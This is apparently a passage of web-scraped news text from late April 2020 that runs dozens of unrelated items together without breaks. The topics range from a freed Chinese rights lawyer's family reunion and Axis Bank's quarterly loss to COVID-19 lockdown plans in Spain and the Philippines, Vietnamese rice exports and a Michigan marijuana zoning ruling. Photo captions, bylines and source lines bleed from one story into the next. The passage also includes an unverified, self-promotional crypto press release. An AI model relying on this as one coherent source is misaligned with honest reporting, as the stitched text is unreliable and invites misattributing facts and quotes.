film as his return to crime genre. "It will be my return to crime films. It's the adventure, in the nocturnal Rome, of a Chinese girl and child. In the second part, the escape takes them into the rocky, bushy countryside of Lazio. (It's) different from the sweetness of the Tuscan valleys, but for me beautiful," he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Wang Quanzhang embraces his wife and son at their home in Beijing, on April 27, 2020. (Screenshot via Reuters) Feels Like a Dream: Teary Reunion for Freed Chinese Human Rights Lawyer and Family Li Wenzu, the wife of Chinese human rights lawyer Wang Quanzhang, peered into the door peephole of her apartment in Beijing, one hand grabbing the door handle, the other holding on to the wall to keep her balance. Wang was recently freed after serving a 4.5-year sentence on charges of subverting state powera euphemism for activities not endorsed by the Chinese regime. Lis 7-year-old son Quanquan dashed back and forth as he swung his toy sword. As his father entered the room with his luggage, Quanquan hid behind the cabinet. Their gray-black cat fled at the sight of police who accompanied Wang. It was the first time he came home after his release in April this year, after having served nearly 5 years in prison. The police had not allowed him to return home since he was freed. The couple held each other for around two minutes in between sobswith Quanquan soon in Wangs arms. A video recording of their reunion on April 27 was videotaped and shared on social media. In an interview, Wang said he felt like he was in a trance. Finally being able to hug my wife and kidthis once was a common routine, but it took five years for me to do so, he said. Holding her husbands hand, Li looked around and briefly touched her brow. It feels like a dream. Human Rights Wang, 44, represented political activists, victims of land expropriation, and adherents of the persecuted spiritual group Falun Gong. He was arrested in July 2015 as part of a nationwide crackdown on hundreds of Chinese rights defense lawyers and activists. After completing his prison term, Wang was released on April 5. Authorities sent him directly into quarantine in his hometown of Jinan city in the eastern province of Shandong, with police stationed in the apartment hallway to monitor him, according to Wang. When Li complained of abdominal pain on April 26 morning and was hospitalized for appendicitis, Wang called the police multiple times requesting permission to see her, and eventually hailed a taxi after several hours of waiting. I couldnt wait any longer, he told The Epoch Times. But at the highway entrance, masked plainclothes police officers caught up with him and took him to the police station. They agreed to escort him to Beijing after a day of negotiation. Li was on an intravenous drip until the evening of April 26. As his sister prepared a feast of dumplings in the kitchen, in accordance with Chinese customs for family reunions, Wang expressed appreciation to his wife for raising their child alone while he was incarcerated. Wang will likely be under home isolation for another 21 days, as is mandatory for anyone who enters Beijing, as part of new city rules to prevent the CCP virus from spreading. Wang said he wants to enjoy this period of time and has not thought much further about what happens once his self-quarantine ends. Prison Life Wang spent nearly four years in pre-trial detention while the police continually denied visitation rights to his family. After a secret trial in January last year, the U.S. State Department issued a statement saying they were troubled by Wangs treatment, including the lack of legal counsel by his choice. Li and wives of other jailed human rights lawyers persisted in raising attention for his case, at one time shaving their heads in a symbolic protest against the Chinese regimes lawlessnessthe Chinese word for hair and law are homophones. Li Wenzu has her head shaved to protest the detention of her husband and Chinese human rights lawyer Wang Quanzhang, detained during the 709 crackdown, in Beijing on Dec. 17, 2018. (Fred Dufour/AFP via Getty Images) In June 2019, Li traveled 420 miles from Beijing to Linyi Prison in Shandong, where Wang was being held. In their first meeting since his arrest, Li said she was shocked to see his gaunt appearance, thin frame, darker skin tone, and the widening gap between his front teeth. Li made frequent visits to Wang whenever she could, under the close watch of prison guards. Wang told Hong Kong Cable Television that he never confessed to wrongdoing during his detention, adding that officials had handed him a notice depriving him of his political rights. Theres nothing to regret about, he said to the broadcaster. Other rights defenders have experienced [persecution], and so may I. In a recent interview with The Epoch Times following Wangs release, Li said that Wang was suffering from an ear infection and had to press the phone closely to his ear during phone calls. She added that Wangs memory had noticeably deteriorated since his time in prison. He tried to register a WeChat account yesterday, but just couldnt remember the confirmation code. How many digits are there in a confirmation code? Li said. Nurses in North Carolina accused Mission Hospital, which is owned by the for-profit hospital chain HCA Healthcare, of using the pandemic to delay a union election. At Uovo Fine Arts, a company that packages and transports art for wealthy individuals and galleries, workers said that they were laid off as punishment for trying to unionize last year. Everlane, the online clothing company, laid off much of its customer-service team four days after a small number of its members informed the companys chief executive that they had enough support to form a union. The company that owns The Plain Dealer newspaper in Cleveland this month laid off journalists who were in a guild and increased its reliance on non-unionized workers. Naftali Bennett teased at the possibility of the most recent Israeli airstrikes that targeted Iranian forces and promised to continue to fight to force them out writes Al-Masdar. Israeli Defense Minister Naftali Bennett may have revealed the Israeli Defense Forces (IDF) planned attack on Syria before the strikes were carried out last night, Israel National News reported. Citing Bennetts press conference on early Sunday, the publication reported that the Israeli Defense Minister spoke about an operation against Iran inside Syria. Keep your ears open to what you see and hear, Bennett said during his press conference on Sunday. We arent just continuing our work to prevent Iran from entrenching itself in Syria, weve moved decisively from preventative action to forcing [Iranian forces] out, he added. Bennett has taken a more aggressive approach to Syria since he was appointed to the Defense Minister post last year. The Israeli Defense Minister made it known last month that his country would continue to target Iran and Hezbollah, despite the ongoing coronavirus pandemic that has killed thousands of people worldwide. Last night, the Israeli Defense Forces carried out a powerful attack on the southern suburbs of Damascus. According to a source inside Damascus, the Israeli Defense Forces targeted the Sayyeda Zaynab District from Lebanese territory; this resulted in a number of explosions that could be heard inside the capital city. Israel has yet to comment on this latest attack. This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. KANSAS CITY, Mo., April 28, 2020 /PRNewswire/ -- Chambers and Partners lauded Shook, Hardy & Bacon's Consumer Class Actions acumen propelling it to a national ranking for the first time. The multidisciplinary practice has advocated and earned successful results for some of the world's leading automotive, consumer products, cosmetics, energy, and food and beverage brands. A Chambers commentator noted, "In terms of consumer products, they have one of the top practices." Chambers USA recognized other long-standing Shook practices including Product Liability, Litigation, Environmental, Insurance, Intellectual Property and Labor and Employment. Specifically, Shook once again earned a USA Nationwide, Band 1 ranking for Product Liability & Mass Torts, the highest ranking. Chambers described Shook's work in product liability litigation as a "standout practice, much admired for its roster of product liability experts based across the USA." Chambers USA noted that the firm "handles a high volume of cases across all major product areas, acting in lead and national coordinating counsel roles, and maintains a particularly strong reputation in life sciences and tobacco litigation with significant in-house scientific strength." In addition to the new national ranking for class actions, Chambers recognized Shook Associate Colman McCarthy as an "associate to watch" in Privacy and Data Security. Chambers ranks law firms and lawyers based on in-depth interviews with attorneys and corporate counsel. Shook Practice Area Rankings: USA Nationwide Product Liability & Mass Torts (Band 1) Product Liability: Consumer Class Actions (Band 2) Missouri Intellectual Property (Band 2) Kansas City & Surrounds Environment (Band 1) Labor & Employment (Band 3) Litigation: General Commercial (Band 1) Illinois Insurance: Dispute Resolution: Insurer (Band 2) Florida Litigation: General Commercial (Band 3) You can read a full list of Shook lawyers ranked in Chambers. About Shook, Hardy & Bacon Founded in 1889, Shook, Hardy & Bacon L.L.P. has 15 offices in the United States and London, with attorneys and professional staff serving clients in the health, science and technology sectors in areas ranging from product liability defense and commercial litigation to intellectual property prosecution and litigation, environmental and toxic tort, privacy and data security, and regulatory counseling. SOURCE Shook, Hardy & Bacon L.L.P. Related Links shb.com Axis Bank reported a net loss of Rs 1387.78 crore in Q4 March 2020 compared with net profit of Rs 1,505.06 crore in Q4 March 2019. The private lender's pre-tax loss stood at Rs 1879 crore in Q4 March 2020 compared with profit before tax of Rs 2303 crore in Q4 March 2019. Total income rose 10% to Rs 20219 crore in Q4 March 2020 over Q4 March 2019. The result was announced after market hours on Tuesday, 28 April 2020. Shares of Axis Bank soared 6.61% to settle at Rs 455.55 on Tuesday. Meanwhile, the S&P BSE Sensex rose 371.44 points or 1.17% to close at 32,114.52. The bank's provisions and contingencies surged 185.09% to Rs 7730.02 crore in Q4 March 2020 over Q4 March 2019. The provision amount includes Rs 3,000 crore related to Covid-19, taking the overall additional provisions held by the bank to Rs 5,983 crore. "The overall additional provisions held by the bank towards various contingencies together with the standard asset provisions, translate to a standard asset coverage of 1.3% at 31 March 2020," the bank said. The bank's gross non-performing assets (NPAs) stood at Rs 30233.82 crore as on 31 March 2020 as against Rs 30073.02 crore as on 31 December 2019 and Rs 29789.44 crore as on 31 March 2019. The ratio of gross NPAs to gross advances stood at 4.86% as on 31 March 2020 as against 5% as on 31 December 2019 and 5.26% as on 31 March 2019. The ratio of net NPAs to net advances stood at 1.56% as on 31 March 2020 as against 2.09% as on 31 December 2019 and 2.06% as on 31 March 2019. The bank's Net Interest Income (NII) grew 19% year-on-year (YoY) to Rs 6,808 crore during Q4 March 2020 from Rs 5,706 crore in Q4 March 2019. Net interest margin for Q4 March 2020 was 3.55%. The total deposits on quarterly average basis (QAB) grew by 19% and 17% YoY on period end basis. The share of CASA and retail term deposits in the total deposits was 80% as of 31 March 2020. The bank's advances grew 15% YoY to Rs 5,71,424 crore as on 31 March 2020. The private lender's net profit fell 65% to Rs 1627 crore on 15% rise in total income to Rs 78172 crore in the year ended March 2020 (FY20) over the year ended March 2019 (FY19). PBT fell 30% to Rs 4904 crore in FY20 over FY19. Commenting on the Q4 result, Amitabh Chaudhry, the managing director & CEO of Axis Bank, said that, The crisis we are facing as a nation is a long drawn one and it will need courage, grit and a fighting spirit to combat it. We believe in learning from all adversaries. For example, the lock-down has taught us how Work From Home (WFH) can be more productive and convenient. We are now exploring if WFH can become a part of our work culture going ahead. We will keep learning and pushing our limits to emerge stronger as an organization. During Q4 March 2020, the bank added 113 branches to its network across the country. As on 31 March 2020, the bank had a network of 4,528 domestic branches and extension counters situated in 2,559 centres compared to 4,050 domestic branches and extension counters situated in 2,366centres last year. As on 31 March 2020, the bank had 12,044 ATMs and 5,433 cash recyclers spread across the country. Meanwhile, in a separate announcement on Tuesday, Axis Bank said its board of directors approved a plan to raise or borrow Rs 35,000 crore. "The board has authorised the bank to borrow/raise funds in Indian currency or foreign Currency by issue of debt Instruments including but not limited long term bonds, non-convertible debentures, perpetual debt instruments and Tier II capital bonds up to an amount of Rs 35,000 crore, the bank said in a notification. The bank will seek the approval of the shareholders in its 26th annual general meeting. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Ukrainian hospitals Open source The World Bank has allocated 135 million dollars to modernize Ukrainian hospitals and reform the healthcare system to scale-up Ukraines health sector response to the COVID-19 pandemic, the press service of the World Bank reported. According to the message, current Serving People, Improving Health Project provides assistance for the renovation of urban hospitals and rural health posts, purchasing of modern equipment, and improvement in the quality of health services. The initial $215 million investment focused on supporting health reforms, improving services delivery (including primary and secondary prevention, early detection, and treatment of cardiovascular diseases and cancer), as well as enhancing the efficiency of the health care system. "The additional $135 million will help Ukraine with important hospital upgrades and reforms, and also help train thousands of Ukrainian doctors in the provision of modern medical services. The project will also help fund peoples medical needs, from the state budget, and provide $35 million for COVID-19 emergency response activities," the report reads. It is said that these funds would be used to buy essential materials and equipment for the countrys COVID-19 response, provide much-needed training for medical personnel, and support the communication of essential public information. It will also cover reimbursement of financing to Ukrainian providers of health care for COVID-19 patients. This additional financing will help Ukraine upgrade up to 40 hospital emergency departments and stroke units, enabling hospitals to perform complicated medical procedures using hi-tech equipment and appropriate treatment protocols. Patients will have an opportunity to choose any hospital in Ukraine, and their costs for surgical operations will be covered by the state budget, Alex Kremer, World Bank Acting Country Director for Belarus, Moldova, and Ukraine said. Earlier, Kharkiv military hospital has become the center of coronavirus outbreak. We are barely four months into a full-blown covid-19 pandemic and already there is premature talk about which containment model works best. We have talked about the South Korean model (intervening fast, widespread testing), the Wuhan model (a total authoritarian lockdown), the German model (early tracing and isolation of infection clusters), the Swedish model (letting people go about their normal lives, but with care), the Singapore model (advance preparation, public education, strong isolation and hospitalization measures) and the New Zealand model (hard lockdown done early), among others. Few have spoken of the Boris Johnson model, where the initial plan was to let the infection spread widely so that the population develops herd immunity". Then there is the US non-model, where the presidents leadership has been poor, leaving individual states to do their own thing to cope with the crisis, from high-casualty New York to zero-lockdown states in the hinterland that never quite closed down. The US may yet give us mini-models to examineboth the ones that worked and those that didntand the benefits (if any) of not doing much. In India, we have talked about the Kerala model (strong contact tracing and regional lockdowns supported by decent healthcare), or even the Bhilwara model (where bureaucrats clamped down on specific localities). Without denying the successes of various countries, or their states, what needs underlining is that it is too early to say that a particular model works best. For several reasons: one, the pandemic is far from over and we dont know if escaping the first wave will help us with the second; two, the specific factors that helped a country stop covids spread may not be replicable elsewhere; three, the virus strains that infected various countries may be mutant, some less dangerous than others; four, we have made no adjustments for population demographics (age, ethnicity and vulnerability variations due to climate differences); five, state and societal responses have not been normalized for governance capacity, size of population, and degree of diversity in society. Lets take the New Zealand model, for example. Prime Minister Jacinda Ardern has earned a lot of plaudits for opting for a hard lockdown at an early stage in the pandemic. At the time of writing, over 1,200 of the nearly 1,400-plus people infected had recovered. The death count was no higher than 19. Full marks for the effort, but how replicable is this model used by an island nation where there are more sheep than people? How do we know that its success is not the result of its uniqueness? Or take Swedens relaxed attitude to lockdowns. It earned a lot of praise from countries and economists who did not want a lockdown to decimate economic activity, but a closer examination suggests that the Swedish model was the unique result of one mans assessment of the threatits chief epidemiologist Anders Tegnell. He concluded that the infection would not spread from China, and that tracing individual infection cases would keep the nation safe without a lockdown. Politicians let him do his thing, as it absolves them of responsibility for anything going wrong. They could get away by saying that they dont interfere with independent epidemic-containment institutions. But already the Swedish model is wearing thin. Death rates are much higher than in its Nordic neighbours, and critics are calling for harsher lockdowns to prevent more infections. After its early success", Singapore declared a lockdown earlier this month as infections spiked, and Japan announced a state of emergency to deal with the pandemic. Some media reports have also sought to draw gender-related conclusions from how countries have fared so far. Countries with women leadership at the top (Germany, New Zealand, Iceland, Finland) have apparently handled the pandemic much better. Again, there is absolutely no reason to doubt the leadership capabilities of the women concerned, but the law of causality runs both ways: women do make excellent leaders, but it is societies with a high degree of gender parity that enable women to rise to the top. It cannot be argued that the same societies, if they had men at the top, would have done worse, given their state capacities and higher standards of gender empowerment in general. The key takeaway here is this: It is all right to flag best practices (more testing, rigorous contact-tracing, educating the public on reducing risks by wearing masks and maintaining physical distance from others), but there is no reason to suggest that any model is exemplary, or worth emulating elsewhere without ifs and buts. What we should learn from these models" is a simple reality: For the first time ever, we now have diverse natural experiments that will produce varying results in varying circumstances. When the pandemic is finally over (when we find a vaccine and a cure), we will be able to evaluateafter due researchwhich practices are widely replicable, and which ones are specific to a region, country or culture. Let us not declare one model a winner and another a loser prematurely just because the media is looking for heroes and villains. R. Jagannathan is editorial director, Swarajya magazine Subscribe to Mint Newsletters * Enter a valid email * Thank you for subscribing to our newsletter. Videos Sorry, there are no recent results for popular videos. Subscriber content preview SEATTLE An apartment building at 4 Florentia St. sold for under $4 million, according to King County records. The seller was Shining Star Real Estate, which acquired the property in 2015 for almost $2.8 million. . . . PR-Inside.com: 2020-04-28 22:21:13 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 505 Words ACCESSWIRE News Network888.952.4446 Sequel to the mistake observed with the use of "Bitfoliex" as the name of the source of the press release, that was earlier disseminated on April 27, 2020 instead of PR RENATO as the source, it becomes necessary to re-disseminate the correct version of the release to avoid misleading the public. However, the entire information remains unchangedPANAMA CITY, PANAMA / ACCESSWIRE / April 28, 2020 / Renato Rodriguez, a blockchain expert, and South America's top fintech advisor, is starting his own crypto Launchpad to finance and incubate blockchain-based startups.Unlike the launchpads introduced by top crypto exchanges, Renato's platform is not going to charge a hefty amount of fees and equity. 'We know that some big exchanges want shares of the company before they list them in their Launchpad. This is crypto mafia and this also violates securities laws''Renato has made it clear that his firm is not going to ask for equity or shares of the company, instead, the Launchpad will incubate startups through a win-win agreement. This means that Renato's firm will profit, only when these startups are successful.'I am leading Airbitclub since 2015 and the journey has been quite fruitful. I want to give back to the community. Through our Airbit Club events in various parts of the world, we met many entrepreneurs who are ambitious like us and want to do something in the crypto space but lack the resources. Also, the crypto mafia has created an entry barrier that demotivates entrepreneurs. We won't let that happen anymore, I will make sure it doesn't happen again!''In an interview with us, Renato revealed that he has read 100s of pitch deck presentations in the last 4 months and has shortlisted 11 projects to launch through his Launchpad. 'All these projects are seeking around $150 Million (combined)'', Renato said.The IEO launchpads generally target a wide range of audiences because of the trust and security they are able to provide in their mechanism. In the 2nd quarter of 2019, IEOs raised $1.2 Billion, and since then there have been hundreds of IEO launches in the crypto market - many went unreported.About Renato RodriguezOften dubbed as The South American Satoshi', Renato Rodriguez has made strides in introducing digital currencies to every household of South America. He hails from Guatemala and holds a degree in Systems Engineering and has graduated in Economics from the University Of Los Angeles.He is also a crypto philanthropist, helping millions of lives and also making them understand Bitcoin. The man has been working with several government agencies, to develop enterprise-grade blockchain solutions.Other Useful ResourcesA collection of Educational Material, Analysis & Reports regarding Blockchain & Cryptocurrency on Blackchain a Cryptocurrency & Blockchain Marketing Company.Crypto & Blockchain Related Interviews with TOP Influencers on Blockspeak, a Cryptocurrency & Blockchain Podcast.Keep yourself up to date on Coinsflare with the latest Cryptocurrency listings across exchanges and markets opportunities.Contact Name: Renato RodriguezOrganization name: Renato RodriguezAddress (city, state and country): Panama City, Panamaemail: info@ renatorodriguez.io Phone number: +1 9494267544Website URL: www.renatorodriguez.io SOURCE: PR RENATO SecureRisk Insurance Agency has recently joined Satellite Agency Network (SAN) Group Inc., an alliance of independent insurance agencies in the Northeast. The Burlington, Mass., agency will specialize in small business and offer personal insurance such as home, auto, flood, business, general liability, workers compensation and life policies. Jenish Thakkar, owner, is licensed in property and casualty insurance in Massachusetts. She started in 2014 as a producer with Allstate, running the agency and managing its four staff before joining her husband at NY Life Insurance, working as a producer and selling personal and commercial insurance with him for four years. Jenish brother-in-law Ajay Thakkar has recently joined the business, moving from Australia with a real estate management and sales background. He is now licensed to sell property and casualty insurance in Massachusetts. SAN Group Inc. has more than 380 members across eight states. It is the founding master agency of SIAA, a national alliance of independent insurance agencies. Source: Satellite Agency Network Group Inc. Topics Massachusetts Share this article Whatsapp Facebook Twitter Linkedin Riska Rahman (The Jakarta Post) Jakarta Tue, April 28, 2020 16:06 624 fc6853813033f564188675f8bd4baa33 1 Business KFC-Indonesia,Pizza-Hut,ramayana,Matahari-Department-Store,COVID-19,retailer,restaurant,furlough,layoffs Free Indonesia's restaurant chains and retailers are struggling to fulfill their obligations to their employees while trying to keep their business afloat amid the COVID-19 pandemic. Publicly listed PT Fast Food Indonesia, the operator of Kentucky Fried Chicken (KFC) chains in Indonesia, said in a statement last Friday that it closed 97 stores across the country as several shopping malls were forced to shut down operations due to the pandemic. Besides the stores inside the malls, our other stores are still operational, serving customers for takeaway, delivery and drive-thru services and closing dine-in services, the company said in a statement published on the Indonesia Stock Exchange (IDX) website. Fast Food Indonesia operated 689 KFC stores across Indonesia. Around 233 stores were located inside shopping malls, 41 in food courts and 210 were inline stores set up between the end caps of shopping centers. The COVID-19 outbreak in the country has disrupted business activity and hit demand with customers staying at home following the governments call to practice social distancing and the large-scale social restrictions (PSBB) implemented in several cities and provinces nationwide to contain the virus. As of Monday, more than 9,000 people contracted the disease in Indonesia with the death toll reaching at least 760, according to official data. As a consequence of the stores closing, Fast Food Indonesia said it furloughed 450 employees in its stores across Java after trying its best to avoid layoffs. The company said the furloughed workers still received their wages albeit with adjustments. As many as 2.8 million people have lost their jobs so far, according to data from the Manpower Ministry and the Workers Social Security Agency (BPJS Ketenagakerjaan). More than half were furloughed and placed on paid or unpaid leave. Based on the agreement with our labor union, we will adjust the wages of our employees who are still working as usual during the COVID-19 pandemic period, it said in the statement, adding that the company would reduce wages with the biggest reduction seen in upper senior management salaries. The company and the union also agreed to reduce and delay some employees Idul Fitri holiday bonuses (THR) this year with the biggest reduction applied to those at the upper senior management level. Coordinating Economic Minister Airlangga Hartarto reminded businesses earlier this month that they were obligated pay out the THR to their employees despite the economic pressures caused by the pandemic. The operator for the Pizza Hut restaurant chain in Indonesia, PT Sarimelati Kencana, was also doing its best not to dismiss employees even though the pandemic had forced it to close some stores, director Jeo Sasanto said. Weve asked some of our employees who work in the closed-down stores to take paid leave, while we placed some others in operating outlets or our delivery services, he told The Jakarta Post on Monday, adding that the publicly listed company had closed around 30 outlets across Indonesia with most of them located inside shopping malls. When asked about employee wages, Jeo said the company had yet to determine the wages and holiday bonus adjustments for this year. We are still having internal discussions on the matter, he said. The wave of wage cuts and furloughs also swept over the countrys retailers, including publicly listed companies PT Ramayana Lestari Sentosa and PT Matahari Department Store. In a statement published on the IDX website on April 14, Ramayana said it had furloughed all of its employees at its store in Depok, West Java, on April 6 following a decision to temporarily close shop. After several meetings with the employees on furlough conditions failed to reach an agreement, we and the employees agreed to end the employment of all 84 of them and pay their severance payments as stipulated in the Labor Law, Ramayana explained in the statement. It also promised to re-hire the laid-off workers once the store begins operating again. Ramayana said without specifying an amount that it had closed some of its stores. As of September 2019, the company operated 117 stores across Indonesia with a total area of 726,148 square meters. Last month, publicly listed Matahari Department Store announced that it was reducing labor expenses to keep its business alive amid the pandemic. [] we are reducing labor expenses through a combination of reduced working hours, unpaid leave and management salary cuts, with senior leaders taking the biggest reduction, it said in a statement on March 31. KENT COUNTY, MI The state Supreme Court said that a municipality can enforce zoning laws for medical-marijuana growers. The court reversed a Kent County judges ruling, upheld by the state Court of Appeals, that Michigans medical marijuana law pre-empted local laws. It was a legal victory for local control when it comes to zoning of Michigans relatively young marijuana industry. In overturning the lower courts ruling, the Supreme Court said the medical marijuana law did not negate a townships authority to set zoning laws. Byron Township required under its home-occupation requirement that a primary caregiver must obtain a permit and that the medical use of marijuana be conducted entirely within a dwelling or attached garage. Christie DeRuiter rented a building in a commercial zone to grow marijuana. She argued that the medical marijuana law required only that marijuana be grown and kept in an enclosed, locked facility. She said the townships zoning law conflicted with state law. After her landlord, at the townships direction, ordered her to stop growing marijuana or face legal action, she sought a declaratory ruling in her favor in Kent County Circuit Court. Byron Township filed its own request. Judge Paul Sullivan determined that the township ordinance conflicted with the medical marijuana law and was thus pre-empted by the state law. The state Court of Appeals found that the ordinance imposed restrictions on those acting lawfully under the medical marijuana law and upheld Sullivans decision. The Supreme Court, however, said the medical marijuana law did not negate a townships authority to set zoning laws as long as it doesnt ban or penalize growing or impose unreasonable restrictions. The enclosed, locked facility requirement in the (medical marijuana laws) concerns what type of structure marijuana plants must be kept and grown in for a patient or caregiver to be entitled to the protections offered by (the law) and the requirement does not speak to where marijuana may be grown, the Supreme Court said. In other words, because an enclosed, locked facility could be found in various locations on various types of property, regardless of zoning, this requirement is not in conflict with a local regulation that limits where medical marijuana must be cultivated. The court said that the case differed from another Kent County case in which Wyoming virtually banned growing or using medical marijuana. The city argued it could strictly regulate marijuana because it was illegal under federal law. The Supreme Court invalidated Wyomings ordinance. A local ordinance is preempted when it bans an activity that is authorized and regulated by state law, the court said. It said that DeRuiter did not argue that only the state could regulate marijuana use. The court found that Byron Townships geographical restriction of its zoning laws adds to and complements the limitations imposed by the (medical marijuana law) but does not prohibit medical marijuana use. We therefore hold that the (state law) does not nullify a municipalitys inherent authority to regulate land use under the Michigan Zoning Enabling Act so long as the municipality does not prohibit or penalize all medical marijuana cultivation, like the city of Wyomings zoning ordinance did and so long as the municipality does not impose regulations that are unreasonable and inconsistent with regulations established by state law. The court also rejected DeRuiters stance that the townships permit requirement violated the medical-marijuana law. It said the requirement does not effectively prohibit the medical use of marijuana. Also on MLive: Michigan Supreme Court strikes down Wyoming medical marijuana ordinance Michigan medical marijuana law doesnt protect liars, court says Michigan medical marijuana seller gets prison: Federal law has not changed, judge says T he US coronavirus death toll has now exceeded the 58,220 American lives lost during the Vietnam War, as cases in the country topped one million. Cases in the US have doubled in 18 days and make up one-third of all infections in the world, according to a Reuters tally. The actual number of cases is thought to be higher, with state public health officials cautioning that shortages of trained workers and materials have limited testing capacity. In addition to exceeding the Vietnam War toll, the US toll for the coronavirus tops the number of deaths from seasonal flu in recent years, except for the 2017-2018 season. Thats according to the US Centres for Disease Control and Prevention (CDC). Flu deaths range from a low of 12,000 in the 2011-2012 season to a high of 61,000 during 2017-2018. The coronavirus deaths in the United States fall short of the approximately 100,000 Americans killed by seasonal flu in 1967, according to the CDC. It is also far less deadly than the Spanish flu, which began in 1918 and killed 675,000 Americans. About 30 per cent of the coronavirus cases have occurred in New York state, the epicentre of the US outbreak, followed by New Jersey, Massachusetts, California and Pennsylvania. Crowds at the Brooklyn Promenade amid the coronavirus crisis / Getty Images The death toll since the first death recorded on February 29 reached 58,233 on Tuesday, up more than 2,000 from the prior day. The outbreak could take more than 74,000 US lives by August 4, compared with an April 22 forecast of over 67,600, according to the University of Washington's predictive model. Loading.... Globally, coronavirus cases top 3 million since the outbreak began in China late last year. The US, with the world's third-largest population, has five times as many cases as the next hardest-hit countries of Italy, Spain and France. Of the 20 most severely affected countries, the US ranks fifth based on cases per capita, according to a Reuters tally. The US has about 30 cases per 10,000 people. Spain ranks first at over 48 cases per 10,000 people, followed by Belgium, Switzerland and Italy. Unprecedented stay-at-home orders to try to curb the spread of the virus have hammered the economy. The number of Americans seeking unemployment benefits over the last five weeks soaring to 26.5 million. - President Rodrigo Duterte hinted that the Metro Manila might be shifting to modified quarantine soon - He mentioned that the guidelines regarding the modified quarantine will be released to the public - Earlier, the Palace said that the Philippines cannot go back to normal as long as there is no vaccine against the COVID-19 - Presidential Spokesperson Harry Roque said that the general community quarantine will be the new normal PAY ATTENTION: Click "See First" under the "Following" tab to see KAMI news on your News Feed President Rodrigo Duterte said on Monday that the Metro Manila might be shifting to modified quarantine pretty soon. KAMI learned that under the modified quarantine, some establishments will be allowed to partially open. In a report by GMA News Online (authored by Julia Mari Ornedo), President Duterte also mentioned that construction workers might be allowed to work soon. "We might open partially, construction workers things like that. You wait for the lalabas na po yung modified. Modified ang quarantine natin so we will allow sectors of society na hindi talaga nagdidikit-dikitan, Duterte said in his televised address. "Kaya modified muna eh kasi kung magsiksikan kayo diyan sa LRT na naman, wala nang katapusan ang problema natin. It will never end," he added. However, President Duterte did not give any further details regarding the modification of the enhanced community quarantine. Earlier, as reported by the Philippine Star (authored by Franco Luna), the Palace said that the country cannot return to normal after the COVID-19 crisis, nothing that the general community quarantine will be the new normal as long as there is no vaccine discovered. We are no longer back to normal as we know it po. The GCQ is already that, it is the new normal. For as long as there is still no vaccine, we cannot go back to normal as we know it, Roque said. PAY ATTENTION: Enjoyed reading our story? Download KAMI's news app on Google Play now and stay up-to-date with major Filipino news! In a previous report by KAMI, President Duterte extended the enhanced community quarantine over high-risk areas, including Metro Manila, Central Luzon, and CALABARZON. As of posting time, the Department of Health (DOH) recorded a total of 7,777 confirmed cases of COVID-19 in the Philippines. Please like and share our amazing Facebook posts to support the KAMI team! Dont hesitate to comment and share your opinions about our stories either. We love reading about your thoughts and views on different matters! Our host Paula Coling suggested different movies and series that you should watch while stuck at home due to the lockdown. Check out all of the exciting videos and celebrity interviews on our KAMI HumanMeter YouTube channel! Source: KAMI.com.gh Farmers harvest rice in a paddy field in the southern province of Soc Trang, March 10, 2020. Photo by VnExpress/Nguyet Nhi. The Ministry of Industry and Trade has called for lifting restrictions on rice exports and a return to normalcy from May 1. In a communication to the government on Monday it said rice supply and demand are steady and the goal of limiting exports to ensure food security during this difficult time has been fulfilled. According to the Ministry of Agriculture and Rural Development, Vietnam can export 3.2 million tonnes of the grain from the recently harvested winter-spring crop and from last year. Output in the upcoming summer-autumn crop is expected to be 11 million tonnes, and Vietnam could export 2.3-2.4 million tonnes, it added. Based on these figures, the trade ministry said that Vietnam could export 1.3 million tonnes of rice between early May and mid-June. However, to ensure food security, it also proposed that exports should only be allowed through international border gates, and authorities should crack down on smuggling. It would urge exporters to comply with recent government decrees and ensure that the circulated reserve is at least 5 percent of the total volume of rice exported in the previous six months. The country's 20 largest exporters would be required to sign agreements with at least one supermarket chain so that this reserve could be released in the domestic market immediately whenever the government wants, it said. Any exporter failing to maintain this reserve or comply with the agreement would lose their rice export license, it added. At a meeting held to discuss food security last month, the ministry had suggested suspending rice exports until the end of May due to concerns surrounding the Covid-19 epidemic and saltwater intrusion in the Mekong Delta, resulting in the suspension of all rice exports on March 24. Just a day later the ministry sought the lifting of this ban, and the government did so on April 10 but capped April exports at 400,000 tons. Many companies complained however that customs began accepting declaration forms at midnight on April 11 without prior notice, and as a result many of them with large quantities of rice stuck at ports were unable to submit their forms before the 400,000-tonne threshold was reached. Prime Minister Nguyen Xuan Phuc has ordered the Government Inspectorate to look into possible violations in this regard. Vietnam is the world's third largest rice exporter after India and Thailand. Last year it exported 6.37 million tons worth $2.81 billion, with the top markets being the Philippines, Ivory Coast, Malaysia, and China. Spanish Prime Minister Pedro Sanchez during todays press conference. Moncloa / HANDOUT (EFE) Spanish Prime Minister Pedro Sanchez held a press conference on Tuesday evening to explain his governments plans for the deescalation of coronavirus confinement measures in Spain. These include ongoing mobility limits until the deescalation is over, potentially at the end of June, meaning people will, for now, still not be able to visit family members or their second residences if they are in another province. Sanchez began by expressing his sorrow for the loss to Spanish society of the victims of the coronavirus, before explaining how Spain had managed to flatten the curve of the spread of the epidemic. Related story Spanish government will avoid setting dates for deescalation measures The Plan for the Transition Toward a New Normality, on which we have been working for nearly a month, was today approved by the Cabinet, he continued. We have taken into account the lessons from other places, but adapting them to the diversity and the reality of our country. The prime minister stated that the only objective of this deescalation plan is to activate Spain protecting the health and lives of Spaniards. The deescalation would be, he continued, gradual, asymmetrical according to regions and coordinated. He committed to paying proper tribute to the victims of the coronavirus officially 23,822, according to the latest figures when the pandemic is defeated. There will be no mobility between provinces or islands until normality returns, he explained, adding that there would be four phases, but with no set dates so as to be flexible according to the situation. Each phase of the deescalation plan will last at least two weeks, and in the best-case scenario, the process will last eight weeks in all of Spain Phase 0, he said, will begin on May 4, and will involve the reopening of small businesses such as restaurants that can offer food to take away, and places that can take bookings. This will include establishments such as hardware stores, government sources cited as an example. Customers would have to call and make an appointment to be able to buy a particular product. Only one customer would be permitted in the premises at a time and would be served by a sales clerk behind a screen or a counter. This phase will also include the reopening of hairdressers, albeit with employees using the "maximum level of individual protection, the same sources said, such as masks and gloves. Individual classes will also be allowed in gyms, as well as individual training for federated sports players and professional leagues. Phase 1, the prime minister continued, would allow in each defined territory the partial reopening of small businesses under strict safety measures, but not large shopping malls, where big crowds could form. He 